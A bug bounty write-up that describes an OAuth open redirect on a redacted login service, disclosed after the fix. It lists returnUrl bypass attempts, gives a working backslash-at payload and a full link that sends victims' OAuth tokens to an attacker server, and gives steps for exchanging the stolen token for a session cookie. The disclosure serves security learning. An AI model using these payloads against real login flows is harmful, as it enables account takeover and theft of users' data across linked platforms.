OAuth Open Redirect to ATO: One Link, All Platforms Compromised
On Public Bug Bounty Program
… … … … … بسم الله الرحمن الرحيم … … … …
Hi Hackers,
Welcome to another write-up — this one is about one of the very first bugs I found during my bug bounty journey.
It was discovered on a Public Bug Bounty Program, and I waited until it was fully fixed before sharing the details.
When I start testing any website, I usually begin with its authentication mechanisms — and this one was no different.
Let’s call the target redacted.com
. It uses OAuth to let users log in/signup.
OAuth is a feature in many web apps that allows users to log in (authenticate) using third-party providers like Google, Facebook, Apple, etc.
So naturally, I began digging into potential OAuth misconfigurations
let’s jump into the interesting part.
when a start test for Oauth open redirection ,The oauth link is:
https://login.redacted.net/facebook?site=145&subsite=en&shield=true&clientState=token==&returnUrl=https:https://www.redacted.com/social.account
To test for that, I forwarded the request to Repeater in Burp Suite and started playing with ?returnUrl=
param like:
Note: To detect if a payload is accepted, always compare the response of a normal request vs a payload request. If the responses match, the payload likely worked.
### returnUrl= | Response | Notes
- https:https://www.redacted.com | success | normal request
- https:https://myserver.com/redacted.com | fail | nan
- https:https://myserver.com?redacted.com | fail | nan
- https:https://redacted.com@myserver.com | fail | nan
- https:https://myserver.com\.redacted.com | fail | nan
after some other combination ,I hope you got the idea .......
- https:https://myserver.com\@www.redacted.com | success | Hacked
So lets confirm our doubt :
https://login.redacted.net/facebook?site=145&subsite=en&shield=true&clientState=token==&returnUrl=https://myserver.com\@www.redacted.com/social.account
I opened the link above in the browser and clicked my Facebook account to proceed through OAuth login.
Then, I checked the logs of https://myserver.com
, and boom — the OAuth token was right there in the request
This token could then be exchanged for a session cookie, allowing full account takeover (ATO).
What made this even more severe was that the same login was used to access all other platforms owned by the company.
Steps to Reproduce
- Access this link :
https://login.redacted.net/facebook?site=101&subsite=en&shield=true&clientState=token==&returnUrl=https://myserver.com\@www.redacted.com/social.account
2. You will be redirected to the Facebook OAuth server. Click on your Facebook account to continue.
Note: I believe there’s a parameter like response_type=token
that could have skipped this step and redirected the victim directly — but I didn’t know that at the time.
3. After this victim will redirected to your server, Go to your server ,You will find that the request hit your server and in the body of it there is a token
4. Use the token from the response and send it in the request responsible for token exchange. This returns a valid session cookie — and just like that, the account is fully taken over.
Impact
This misconfiguration led to One Click ATO . An attacker could access any user’s account across connected platforms, potentially leading to data theft, financial loss, and reputation damage.
After I reported the bug, it was marked as a duplicate of a [P2][Informational] report. Interestingly, I also had another report related to a pre-ATO Vuln, and that too was marked as a duplicate of the same [Info] report.
Whaaat, Informational? For a One-Click Account Takeover? That didn’t feel right ,I knew something was off.
So, I submitted a request explaining that this couldn’t possibly be a duplicate of an [Info] , and definitely deserved a closer look.
After about a month, the Triage team re-evaluated the report, and just four days later… I received a nice bounty
hope you enjoyed this write-up
Stay tuned for more stories from my bug bounty journey.
Until next time — stay curious, stay sharp.
— h4reeqa